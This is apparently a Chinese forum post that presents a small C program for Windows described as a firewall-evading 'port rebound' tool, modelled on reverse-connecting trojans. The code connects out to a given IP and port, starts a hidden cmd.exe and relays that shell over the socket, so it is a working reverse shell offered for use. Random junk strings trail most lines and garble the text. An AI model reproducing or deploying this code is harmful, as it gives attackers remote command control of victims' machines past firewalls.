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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^!^8]u<Q  
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/* ============================== $5nOiaQL  
Rebound port in Windows NT ,vP9oY[n  
By wind,2006/7 *=}$@O S  
===============================*/ mJb>)bO l  
#include R:YX{Tq  
#include (PU0\bGA  
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#pragma comment(lib,"wsock32.lib") ew B&PR  
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void OutputShell(); (A`/3Aq+  
SOCKET sClient; Z[KXDQn8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :av6*&+  
k <ds7k1m  
void main(int argc,char **argv) S*rgYe!E  
{ m *8[I  
WSADATA stWsaData; k!O#6Z  
int nRet; 7)G- EAF  
SOCKADDR_IN stSaiClient,stSaiServer; Y ~RPspHW  
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if(argc != 3) oz%ZEi \bW  
{ Ac<V!v71  
printf("Useage:\n\rRebound DestIP DestPort\n"); A:[La#h|p  
return; 9ET2uDZpL  
} a?E]-Zf  
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WSAStartup(MAKEWORD(2,2),&stWsaData); <||F$t  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2qKo|'gL`  
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stSaiClient.sin_family = AF_INET; "t~I;%$[  
stSaiClient.sin_port = htons(0); t*y4)I !gR  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gt6*x=RCrQ  
2#C!40j&\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G+AD &EHV  
{ `zRgP#  
printf("Bind Socket Failed!\n"); zMt"ST.  
return; fm87?RgXD  
} F%bv vw*(  
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stSaiServer.sin_family = AF_INET; , %mTKOs  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "R+ x  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); z,}1K!  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *aS|4M-  
{ i;*c|ma1>  
printf("Connect Error!"); \bqNjlu  
return; e"hm|'  
} 8^&)A b  
OutputShell(); `da6}Vqj:  
} \`jFy[(Pa'  
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void OutputShell() I(P|`"  
{ ygS*))7 r  
char szBuff[1024]; rw8O<No4.o  
SECURITY_ATTRIBUTES stSecurityAttributes; zA9N<0[]o  
OSVERSIONINFO stOsversionInfo; 4O9HoX#-?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9z\q_ 0&i  
STARTUPINFO stStartupInfo; 7!hL(k[  
char *szShell; c)#b*k,lw<  
PROCESS_INFORMATION stProcessInformation; B~-VGT 2o  
unsigned long lBytesRead; ch1EF/"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); mLPQ5`_  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (' /S~  
stSecurityAttributes.lpSecurityDescriptor = 0; djqSW9  
stSecurityAttributes.bInheritHandle = TRUE; ii2X7Q  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,;;M69c[ x  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7 ;|jq39  
N'Ywn}!js  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F0o7XUt  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MG[?C2KA/  
stStartupInfo.wShowWindow = SW_HIDE; 6.~HbN  
stStartupInfo.hStdInput = hReadPipe; 'SY jEhvw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [{6]iJ  
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GetVersionEx(&stOsversionInfo); i' %V}2  
fU!C:  
switch(stOsversionInfo.dwPlatformId) &at>pV3_  
{ .sAcnf"  
case 1: Se*ZQtwE  
szShell = "command.com"; VhT4c+Zs  
break; y mY,*Rb  
default: {F6hx9?  
szShell = "cmd.exe"; gEIjG  
break; {Mp>+e@xx  
} $n(?oyf  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |q^e&M<  
bd_U%0)pi1  
send(sClient,szMsg,77,0); uh\I'  
while(1) \! Os!s  
{ ?=_l=dR  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0gm+R3;k^  
if(lBytesRead) Itr yiU9  
{ ~PHAC@pU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #AyM!   
send(sClient,szBuff,lBytesRead,0); *ls}r5k2Y  
} 7 '2E-#^  
else U;i:k%Bzy  
{  P%xk   
lBytesRead=recv(sClient,szBuff,1024,0); Z7JI4"  
if(lBytesRead<=0) break; A~\:}P N  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L,[0*h  
} 5Jp@n .  
} '-D-H}%;}M  
&w*.S@  ;  
return;  L/%3_,  
}
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